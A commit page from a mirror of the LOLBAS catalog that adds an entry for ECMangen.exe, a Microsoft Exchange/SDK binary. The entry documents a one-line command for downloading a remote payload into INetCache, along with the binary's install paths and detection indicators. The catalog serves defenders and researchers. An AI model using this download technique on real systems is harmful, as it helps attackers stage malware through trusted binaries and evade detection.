public-mirrors/LOLBAS
1
0
Fork 0
mirror of https://github.com/LOLBAS-Project/LOLBAS synced 2025-06-20 18:45:12 +02:00
Code Issues Projects Releases Wiki Activity

Add ECMangen.yml (#373)

Browse Source
This commit is contained in:
Avihay Eldad 2025-05-28 16:22:56 +03:00 committed by GitHub
parent dcad562e5f
commit e31a869ae4
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 28 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

28
yml/OtherMSBinaries/ECMangen.yml Normal file
View File

@ -0,0 +1,28 @@
---
Name: ECMangen.exe
Description: Command-line tool for managing certificates in Microsoft Exchange Server.
Author: Avihay Eldad
Created: 2024-04-30
Commands:
- Command: ECMangen.exe {REMOTEURL}
Description: Downloads payload from remote server
Usecase: It will download a remote payload and place it in INetCache
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows
Tags:
- Download: INetCache
Full_Path:
- Path: C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\Bin\ECMangen.exe
- Path: C:\Program Files (x86)\Microsoft SDKs\Windows\<version>\Bin\x64\ECMangen.exe
- Path: C:\Program Files\Microsoft\Exchange Server\<version>\Bin\ECMangen.exe
- Path: C:\Program Files\Microsoft\Exchange Server\Bin\ECMangen.exe
- Path: C:\Program Files\Microsoft\Exchange Server\ClientAccess\Bin\ECMangen.exe
- Path: C:\ExchangeServer\Bin\ECMangen.exe
Detection:
- IOC: URL on a ECMangen command line
- IOC: ECMangen making unexpected network connections or DNS requests
Acknowledgement:
- Person: Avihay Eldad
Handle: '@AvihayEldad'